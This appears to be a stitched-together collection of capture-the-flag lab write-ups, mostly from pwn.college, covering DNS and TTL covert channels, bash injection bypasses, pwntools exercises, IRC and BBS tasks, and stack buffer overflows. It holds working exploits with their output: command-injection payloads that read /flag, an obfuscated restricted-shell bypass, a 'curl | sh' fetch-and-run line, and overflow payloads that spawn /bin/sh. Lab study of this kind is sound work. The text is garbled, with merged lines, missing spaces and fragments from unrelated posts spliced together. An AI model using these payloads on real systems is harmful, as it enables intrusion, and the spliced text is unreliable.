A network analysis challenge where data was exfiltrated via DNS
queries.
Challenge Description
A network capture was obtained from an internal monitoring system
after suspicious activity was detected. The traffic appears mostly
benign, but analysts believe data was covertly exfiltrated during normal
communication.
Initial Reconnaissance
Checking the protocol distribution of the capture.pcap
file using tshark:
1
tshark -r capture.pcap -q -z io,phs
The output confirms that 100% of the traffic is DNS,
indicating that DNS is being used as a tunnel for exfiltration.
DNS Query Analysis
Extracting the DNS query names reveals two distinct patterns: 1.
Repetitive queries for common domains like kashi.com and
amazon.com (likely noise). 2. High-entropy subdomains under
.exfil.internal.
A forensics challenge involving network traffic analysis and IP
Time-to-Live (TTL) steganography.
Challenge Description
A packet capture was collected from an internal network segment
during routine monitoring. No alerts were triggered at the time, and the
traffic appears largely normal. Your task is to analyze the capture and
determine whether any meaningful information can be recovered.
Initial Analysis
The provided file ttl_stego.pcap contains a series of
ICMP Echo (ping) requests. While the payloads appear standard, the IP
Time-to-Live (TTL) values fluctuate between 64 and
65, suggesting binary data is encoded in these
variations.
The TTL values can be mapped to binary bits: - 64→0 - 65→1
We can extract the full sequence of TTLs and decode them using a
Python script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import sys
# Extract TTLs using: tshark -r ttl_stego.pcap -T fields -e ip.ttl > ttls.txt withopen('ttls.txt', 'r') as f: ttls = [int(line.strip()) for line in f if line.strip()]
# Convert TTLs to bits bits = "".join(['0'if t == 64else'1'for t in ttls])
# Convert bits to characters (8 bits per byte) flag = "" for i inrange(0, len(bits), 8): byte = bits[i:i+8] iflen(byte) == 8: flag += chr(int(byte, 2))
ubuntu@other~the-flag-resting-safely:~$ /challenge/run /dev/tcp/localhost/1337 stat: cannot statx '/dev/tcp': No such file or directory /challenge/run: line 16: [: ==: unary operator expected stat: cannot statx '/dev/tcp': No such file or directory /challenge/run: line 17: [: ==: unary operator expected stat: cannot statx '/dev/tcp': No such file or directory
ubuntu@other~the-flag-resting-safely:~$ nc -lvp 1337 nc: getnameinfo: Temporary failure in name resolution Connection received on localhost 39398 pwn.college{********************************************}
exec /bin/bash --restricted --init-file /challenge/.yanjail ubuntu@other~the-scream-of-silence:~$ cat /challenge/.yanjail # This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
ubuntu@other~the-scream-of-silence:~$ /challenge/run NO WAY OUT: exit() { A=1; } NO WAY OUT: $(< /flag) bash: pwn.college{********************************************}: command not found
# good installer scripts should just touch a bunch of files grep -E '^(touch|echo|sleep) [0-9a-zA-Z]*$' script.sh > sanitized_script.sh if ! diff script.sh sanitized_script.sh then echo"Looks like there are some shenanigans in your script. Aborting!" rm -f /flag exit 1 fi }
echo"Thoroughly checking your install script for shenanigans..." i=0 MAX=$(($RANDOM%1000+1337)) while [ "$i" -lt "$MAX" ] do check_script echo -ne "\rChecked for the $((i++))th time... " done
curl -s http://challenge.localhost:1337/install.sh | sh
if [[ "$1" =~ $regex ]] then RESULT=$[$1] exit$RESULT # If there are more than one argument, the exit status is 1, and the shell does not exit. else exit 0 fi
cat /flag
1 2 3
ubuntu@other~beam-me-up-sensei:~$ /challenge/run "1/0" /challenge/run: line 7: 1/0: division by 0 (error token is "0") pwn.college{**********************************************}
In the realm of the shell, brutal input restrictions may seem to be
impenetrable walls, the unyielding gatekeepers of commands. Yet, to the
adept practitioner, these walls are but illusions, mere whispers of
constraints. With cunning and a deep understanding of the shell’s inner
workings, one can bypass these seeming obstructions. Like a river
flowing around a stone, the input, seemingly restricted, finds its own
path. Embrace this lesson and realize that in the shell, as in life,
perceived limitations are often just opportunities for creative
solutions.
ubuntu@input-restrictions~dance-of-the-disallowed:~$ /challenge/run __=${##};___=$(($__-$__));____=$(($__+$__));_____=$(($____+$____));______=$(($_____+$____+$__));_______=${!#:___:__};________=${!#:_____:__};_________=${!#:______:__};$_________$________$_______???? nl: /boot: Is a directory 1 pwn.college{********************************************} nl: /home: Is a directory nl: /proc: Is a directory nl: /root: Is a directory nl: /sbin: Is a directory
当你在终端输入了一半的命令,突然觉得太长太复杂,你可以按下特定的快捷键。Bash
会立刻把你当前敲击的内容保存到一个临时文件中,并用系统默认的编辑器(vi、nano
或 emacs, in this dojo we use
ed)打开它。当你保存并退出编辑器时,Bash 会直接以当前 Shell
的权限执行文件里的命令
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level0.0" p = process(challenge_path)
payload = b"pokemon\n" # Send the payload after the string ":)\n###\n" is found. p.sendafter(":)\n###\n", payload)
# Receive flag from the process flag = p.recvline() print(f"flag is: {flag}")
1 2 3 4 5 6
hacker@pwntools~level-0-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level0.0': pid 218 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Process '/challenge/pwntools-tutorials-level0.0' stopped with exit code 0 (pid 218) flag is: b'pwn.college{**********************************************}\n'
if (!strncmp(buf, (char *)&magic, 4)) { return1; }
return0; }
intmain() { char buffer[100];
print_desc();
fgets(buffer, sizeof(buffer), stdin);
if (bypass_me(buffer)) { print_flag(); } else { printf("You need to bypass some conditions to get the flag: \n"); printf("Please refer to the source code to understand these conditions\n"); }
print_exit(); return0; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from pwn import *
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level1.0" p = process(challenge_path)
payload = p32(0xdeadbeef) # Send the payload after the string ":)\n###\n" is found. p.sendlineafter(":)\n###\n", payload)
# Receive flag from the process flag = p.recvline() print(f"flag is: {flag}")
1 2 3 4 5 6
hacker@pwntools~level-1-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level1.0': pid 200 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Process '/challenge/pwntools-tutorials-level1.0' stopped with exit code 0 (pid 200) flag is: b'pwn.college{**********************************************}\n'
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.0"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. p.sendafter("Please give me your assembly in bytes", asm("mov rax, 0x12345678"))
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11 12 13
^Chacker@pwntools~level-2-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level2.0': pid 194 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: mov rax, 0x12345678 [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.0' stopped with exit code 0 (pid 194)
# users can write multiple instructions to archive this goal # whitelist = ["xchg"]
@property defdescription(self): returnf""" In this level you need to craft assembly code to satisfy the following conditions: * exchange the value of rax and rbx """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.1"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. p.sendafter("Please give me your assembly in bytes", asm("xchg rax, rbx"))
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11 12 13
main()hacker@pwntools~level-2-1:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level2.1': pid 198 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:866: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: xchg rbx, rax [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.1' stopped with exit code 0 (pid 198)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * rax = rax % rbx + rcx - rsi We already set the following in preparation for your code: rdx = 0 """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.2"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. p.sendafter( "Please give me your assembly in bytes", asm(""" xor rdx, rdx div rbx mov rax, rdx add rax, rcx sub rax, rsi """), )
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11 12 13
[*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: xor rdx, rdx [+] 0x400003: div rbx [+] 0x400006: mov rax, rdx [+] 0x400009: add rax, rcx [+] 0x40000c: sub rax, rsi [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.2' stopped with exit code 0 (pid 231)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000 """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.3"
p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. # In this level you need to craft assembly code to complete the following operations: # * copy 8-bytes memory starting at 0x404000 to 8-bytes memory starting at 0x405000
p.sendafter( "Please give me your assembly in bytes", asm(""" mov rax, qword ptr [0x404000] mov qword ptr [0x405000], rax """), )
print_lines(p)
1 2 3 4 5 6 7 8 9 10
[*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: mov rax, qword ptr [0x404000] [+] 0x400008: mov qword ptr [0x405000], rax [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.3' stopped with exit code 0 (pid 205)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * the top value of the stack = the top value of the stack - rbx Tips: perfer push and pop instructions, other than directly [esp] dereference """
defprint_lines(io): info("Printing io received lines") whileTrue: try: line = io.recvline() success(line.decode()) except EOFError: break
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level2.4" p = process(challenge_path)
# Send the payload after the string "(up to 0x1000 bytes): \n" is found. # In this level you need to craft assembly code to complete the following operations: # * the top value of the stack = the top value of the stack - rbx # Tips: perfer push and pop instructions, other than directly [esp] dereference
p.sendafter( "Please give me your assembly in bytes", asm(""" pop rax sub rax, rbx push rax """), )
print_lines(p)
1 2 3 4 5 6 7 8 9 10 11
[*] Printing io received lines [+] (up to 0x1000 bytes): [+] Executing your code... [+] ---------------- CODE ---------------- [+] 0x400000: pop rax [+] 0x400001: sub rax, rbx [+] 0x400004: push rax [+] -------------------------------------- [+] pwn.college{**********************************************} [+] [*] Process '/challenge/pwntools-tutorials-level2.4' stopped with exit code 0 (pid 205)
@property defdescription(self): returnf""" In this level you need to craft assembly code to complete the following operations: * the top value of the stack = abs(the top value of the stack) """
@property defdescription(self): returnf""" In this level you need to craft for statement to complete the following operations: * rax = the sum from 1 to rcx """
hacker@pwntools~level-4-0:~$ checksec /challenge/pwntools-tutorials-level4.0 [*] '/challenge/pwntools-tutorials-level4.0' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
buffer overflow + ret to read_flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
from pwn import *
# Set architecture, os and log level context(arch="amd64", os="linux", log_level="info")
# Load the ELF file and execute it as a new process. challenge_path = "/challenge/pwntools-tutorials-level4.0" p = process(challenge_path)
payload = b"A" * 48 + b"B" * 8 + p64(0x00401f0f) # Send the payload after the string ":)\n###\n" is found. p.sendlineafter("Give me your input\n", payload)
# Receive flag from the process flag = p.recvall(timeout=1) print(f"flag is: {flag}")
1 2 3 4 5 6 7
hacker@pwntools~level-4-0:~$ python a.py [+] Starting local process '/challenge/pwntools-tutorials-level4.0': pid 202 /nix/store/8rkdh1mj5w4ysz03j9n5xcdamcwrdwjd-python3-3.13.11-env/lib/python3.13/site-packages/pwnlib/tubes/tube.py:876: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) [+] Receiving all data: Done (188B) [*] Process '/challenge/pwntools-tutorials-level4.0' stopped with exit code -11 (SIGSEGV) (pid 202) flag is: b'\n### 2026\xe5\xb9\xb44\xe6\x9c\x881\xe6\x97\xa518:42:16 \xe6\x88\x98\xe6\x96\x97\xe8\xae\xb0\xe5\xbd\x95:\x1b[1m\x1b[31m \xe5\xa4\xa7\xe9\x92\xb3\xe8\x9f\xb9 \x1b[0m\xe8\x8e\xb7\xe8\x83\x9c\n### \xe5\x8a\xaa\xe5\x8a\x9b\xe6\x8f\x90\xe5\x8d\x87\xe8\x87\xaa\xe5\xb7\xb1\xe7\x9a\x84\xe7\xad\x89\xe7\xba\xa7\xe5\x90\x8e\xef\xbc\x8c\xe5\x86\x8d\xe6\x9d\xa5\xe6\x8c\x91\xe6\x88\x98\xe5\x90\xa7\xef\xbc\x81\npwn.college{**********************************************}\n\n'
# telnet 20forbeers.com:1337 # ssh 20forbeers.com:1338 # web http://20forbeers.com:1339/
# Install syncterm to connect to BBS $ paru -S syncterm
hacker@bbs~external-bbs-login:~$ /challenge/checker.py Hello! You should've found the DOOM server password on an external BBS. Please enter it now. Enter password: ******** Correct! pwn.college{***}
Internal BBS
Since BBS’s often only allowed one line to be connected at a time,
often admins had to limit users’ daily use time. In this challenge, you
will be interacting with a locally run BBS that has a very short visit
time (15s). In real life, people made programs to download all data on
the BBS, so only new data had to be read in real time.
Some users have left a flag lying around in the message boards, get
it before we disconnect you.
The BBS server is running on localhost:1337 when you
start the challenge. You can find the server code at
/challenge/bbs_server.py.
Scripting Help
If you are new to scripting with Python, here is a script to get you
started:
You should mostly be able to solve it with the APIs shown in the
script. If you need more help see pwntools.
1 2 3 4 5 6 7 8 9 10 11 12 13
from pwn import *
# Connect to the BBS server bbs = remote("localhost", 1337)
# Receive until the menu choice prompt data = bbs.recvuntil("Enter your choice: ") print("data", data)
# Select option 1 (List message titles) bbs.sendline("1") data = bbs.recvuntil("=== Main Menu ===") print(data)
BBS Server Code
We need to fetch all titles and then request each one quickly before
the 15-second timeout.
# Extract titles using regex. Format: "000: Title Name" titles = re.findall(r'^\d{3}:\s*(.*)$', clean_data, re.MULTILINE)
# Batch the requests: Send "2" (Read message) followed by the title for each message payload = [] for t in titles: payload.append("2") payload.append(t)
# Send all requests at once to maximize speed bbs.sendline("\n".join(payload).encode('utf-8'))
# Collect all response data until timeout or connection close try: dump = bbs.recvall(timeout=15).decode('utf-8', errors='ignore') except EOFError: pass
# Search for the flag in the dumped content match = re.search(r'pwn\.college\{.*?\}', dump) ifmatch: print(f"Flag: {match.group(0)}") else: print("fail")
if __name__ == "__main__": solve()
1 2
# Run the solution script with specific terminal environment if needed TERM=xterm python a.py
nick kita user d 0 * :kita! :localhost 001 kita :Hi, welcome to IRC :localhost 002 kita :Your host is localhost, running version miniircd-2.3 :localhost 003 kita :This server was created sometime :localhost 004 kita localhost miniircd-2.3 o o :localhost 251 kita :There are 1 users and 0 services on 1 server :localhost 375 kita :- localhost Message of the day - :localhost 372 kita :- pwn.college{***} :localhost 376 kita :End of /MOTD command
Join an IRC Server(with an
IRC client)
1 2 3 4 5 6 7 8 9 10 11
hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic --help usage: sic [-h host] [-p port] [-n nick] [-k keyword] [-v] hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic -h localhost -p 6667 localhost : 2026-04-01 07:40 >< 001 (unknown): Hi, welcome to IRC localhost : 2026-04-01 07:40 >< 002 (unknown): Your host is localhost, running version miniircd-2.3 localhost : 2026-04-01 07:40 >< 003 (unknown): This server was created sometime localhost : 2026-04-01 07:40 >< 004 (unknown localhost miniircd-2.3 o o): localhost : 2026-04-01 07:40 >< 251 (unknown): There are 1 users and 0 services on 1 server localhost : 2026-04-01 07:40 >< 375 (unknown): - localhost Message of the day - localhost : 2026-04-01 07:40 >< 372 (unknown): - pwn.college{***} localhost : 2026-04-01 07:40 >< 376 (unknown): End of /MOTD command
Change your nickname
1 2 3 4 5 6 7 8 9 10 11 12
hacker@irc~change-your-nickname:~$ nc localhost 6667 NICK archuser USER archuser 0 * :I use Arch btw :localhost 001 archuser :Hi, welcome to IRC :localhost 002 archuser :Your host is localhost, running version miniircd-2.3 :localhost 003 archuser :This server was created sometime :localhost 004 archuser localhost miniircd-2.3 o o :localhost 251 archuser :There are 1 users and 0 services on 1 server :localhost 422 archuser :MOTD File is missing NICK pwn :archuser!archuser@127.0.0.1 NICK pwn :localhost pwn.college{***}
Join a channel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
hacker@irc~join-a-channel:~$ nc localhost 6667 nick a user a 0 * :a :localhost 001 a :Hi, welcome to IRC :localhost 002 a :Your host is localhost, running version miniircd-2.3 :localhost 003 a :This server was created sometime :localhost 004 a localhost miniircd-2.3 o o :localhost 251 a :There are 1 users and 0 services on 1 server :localhost 422 a :MOTD File is missing list :localhost 323 a :End of LIST join#flag :a!a@127.0.0.1 JOIN #flag :localhost pwn.college{***}
:localhost 331 a #flag :No topic is set :localhost 353 a = #flag :a :localhost 366 a #flag :End of NAMES list
Message a channel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
hacker@irc~message-a-channel:~$ nc localhost 6667 nick a user a 0 * :a :localhost 001 a :Hi, welcome to IRC :localhost 002 a :Your host is localhost, running version miniircd-2.3 :localhost 003 a :This server was created sometime :localhost 004 a localhost miniircd-2.3 o o :localhost 251 a :There are 1 users and 0 services on 1 server :localhost 422 a :MOTD File is missing join#flag :a!a@127.0.0.1 JOIN #flag :localhost 331 a #flag :No topic is set :localhost 353 a = #flag :a :localhost 366 a #flag :End of NAMES list privmsg #flag :a :localhost pwn.college{***}
Remove another user
1 2 3 4 5 6 7 8 9 10 11 12 13 14
hacker@irc~remove-another-user:~$ nc localhost 6667 NICK archlinux USER archlinux 0 * :I use Arch btw :localhost 001 archlinux :Hi, welcome to IRC :localhost 002 archlinux :Your host is localhost, running version miniircd-2.3 :localhost 003 archlinux :This server was created sometime :localhost 004 archlinux localhost miniircd-2.3 o o :localhost 251 archlinux :There are 1 users and 0 services on 1 server :localhost 422 archlinux :MOTD File is missing PRIVMSG pwn :Press alt+f4 to join my channel :localhost 401 archlinux pwn :No such nick/channel NICK pwn :archlinux!archlinux@127.0.0.1 NICK pwn :localhost pwn.college{***}
The shell is as mysterious as it is powerful. As a first stop in our
journey, we will explore concepts of variable expansion, the pitfalls
around quoting (and lack thereof!), and the raw power of globbing. Stay
strong, and follow the PATH.
echo"Goodbye!" ubuntu@expansion~path-of-the-unquoted:~$ ta no sessions [exited] ubuntu@expansion~path-of-the-unquoted:~$ /challenge/run 'a -o a' pwn.college{****************************************} Goodbye!
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 1 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
declare -- "$1"="$2" $PROGRAM ubuntu@expansion~enigma-of-the-environment:~$ /challenge/run PROGRAM "/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
[ "$1" = "PROGRAM" ] && exit 4 declare -- "$1"="$2" $PROGRAM ubuntu@expansion~voyage-of-the-variable:~$ /challenge/run "PROGRAM[0]""/bin/cat /flag" fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~dance-of-the-delimiters:~$ echo'#!/bin/bash' > /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ echo'cat /flag' >> /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ chmod +x /tmp/tmp ubuntu@expansion~dance-of-the-delimiters:~$ /challenge/run IFS "." fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM pwn.college{****************************************}
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~symphony-of-separation:~$ /challenge/run 'x[$(/bin/cat /flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 20: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") Today is the last day of your life so far.
echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM" [ "$#" -eq 3 ] || exit 2
if [ "$3" != "fortune" ] then echo"Only 'fortune' is supported right now!" exit 3 else cp /usr/games/fortune $WORKDIR PROGRAM="$WORKDIR/fortune" fi
ubuntu@expansion~saga-of-sanitization:~$ /challenge/run 'x[$(</flag)]' 1 fortune Welcome! This is a launcher that lets you set an environment variable and then run a program! Usage: /challenge/run VARNAME VARVALUE PROGRAM /challenge/run: line 21: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") /challenge/run: line 22: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") To be or not to be. -- Shakespeare To do is to be. -- Nietzsche To be is to do. -- Sartre Do be do be do. -- Sinatra
if [[ "$#" -ne 1 ]] then echo"Usage: $0 SKILL_LEVEL" exit 1 fi
if [[ "$1" -eq 1337 ]] then echo"Not skilled enough!" exit 2 fi
echo"You are quite skilled!"
1 2 3
ubuntu@expansion~tale-of-the-test:~$ /challenge/run 'x[$(</flag)]' /challenge/run: line 9: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}") You are quite skilled!
Your Shattered Sanity
word splitting
Arithmetic Evaluation Error
当 -v 操作符去检查一个带有数组下标的变量时(例如 -v
var[index]),为了确定具体的下标是多少,Bash 会强制对 index 进行算术求值
(Arithmetic Evaluation)
charset = string.printable.strip().replace("*", "").replace("?", "") flag = "pwn.college{"
for attempt in itertools.count(start=1): print(f"Attempt {attempt}: {flag}") for c in charset: # 用 /dev/shm 来传递数据提高 I/O 速度 # or /tmp with open("/dev/shm/tmp", "w") as f: f.write(flag + c + "*") p = process(["/challenge/run", "/dev/shm/tmp"]) if b"Got it!"in p.recvall(timeout=1): flag += c if"}" == c: print(f"\n[+] Flag: {flag}") exit(0) break
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success! Here's part of the flag:" cat /flag | head -c10 else echo"Wrong!" cat /flag | md5sum fi
# props to HyperCube for the idea for this challenge
# HINT: This challenge uses /bin/bash. Double-check which bash you do your prep work in...
PATH=/usr/bin RESPONSE="$1"
exec 2>/dev/null # props to amateurhour for this unintended solve
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == RANDOM )) then echo"Success!" cat /flag else echo"Wrong!" rm /flag fi
# This disables command injection. If you can find a bypass of it, let Zardus know! set -T readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix trap'[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG
if (( RESPONSE == CHALLENGE )) then echo"Success!" cat /flag else echo"Wrong!" #cat /flag | md5sum fi
Key Generation: In main, the
program takes the current Unix timestamp and rounds it down to the
nearest minute: time_val = (time(0) / 60) * 60. This value
is then passed into read_user_input.
The XOR Loop: Inside
read_user_input, the program reads up to 160 bytes into a
heap buffer. It then iterates through the input, XORing every 4-byte
chunk with the time_val. Crucially, the
time_val increments by 1 after every 4 bytes.
Buffer Overflow: After XORing, the program uses
memcpy to copy the processed buffer into a local stack
buffer (ebp-0x40). Since the stack buffer is only 64 bytes
but memcpy copies up to 160 bytes, we have a
stack-based buffer overflow.
3. Exploitation Strategy
Step 1: Leaking the Key The program XORs our input
and then calls write to send 40 bytes of the stack buffer
back to us. To bypass the XOR obfuscation, we first send a string of
null bytes (\x00). Because x ^ 0 = x, the
server returns the XOR key itself. This allows us to recover the exact
time_val used by the server.
Step 2: Crafting the Payload We need to overwrite
the return address at ebp + 4. The distance from the buffer
start (ebp - 0x40) to the return address is 68
bytes.
Our desired stack layout after memcpy should be:
[68 bytes of padding] + [Address of system@plt] + [4 bytes of dummy return] + [Address of "/bin/sh"]
Step 3: Pre-XORing Because the program will XOR our
input before it hits the stack, we must “pre-XOR” our payload. If the
program expects Payload ^ Key = Stack, we must send
Payload ^ Key so that when the server XORs it with
Key, the result on the stack is our desired
Payload.
# Function to XOR payload according to binary logic defxor_payload(data, key_val): res = bytearray() for i inrange(0, len(data), 4): chunk = data[i:i+4] # Calculate the key for this 4-byte chunk key = p32((key_val + (i // 4)) & 0xFFFFFFFF) for j inrange(len(chunk)): res.append(chunk[j] ^ key[j]) returnbytes(res)
# 3. Build and send the Pre-XORed payload # 68 bytes of padding, then system(), dummy ret, then pointer to "/bin/sh" # 在 32 位 Linux 环境下,标准的 C 语言函数调用遵循 cdecl 约定。如果这是一个合法的 call system 指令,CPU 会在跳转之前做一件事:把 call 指令的下一条指令地址 push 到 stack 上,作为 Return Address。然后紧接着才是函数的参数。 payload = b'A' * 68 + p32(system_plt) + b'EXIT' + p32(bin_sh_addr) target.send(xor_payload(payload, leaked_time_val))
Since gets() does not check the input length, we can
provide a payload larger than 32 bytes to overwrite the saved
instruction pointer on the stack.
3. Exploitation Strategy
The drive() function is our target:
1 2 3 4 5
int __fastcall drive(__int64 a1) { if (a1 != 0x48435344) // "HCSD" returnputs("Need the secret key to deliver this package.\n"); return system("/bin/sh"); }
To get a shell, we need to call drive(0x48435344). In
the x86-64 calling convention, the first argument is passed in the
RDI register.
Our ROP Chain Plan:
Overwrite the return address with the address of a
pop rdi; ret gadget.
Provide the value 0x48435344 as the next item on the
stack (to be popped into RDI).
Include a ret gadget for stack alignment (often
necessary for system() calls in 64-bit glibc).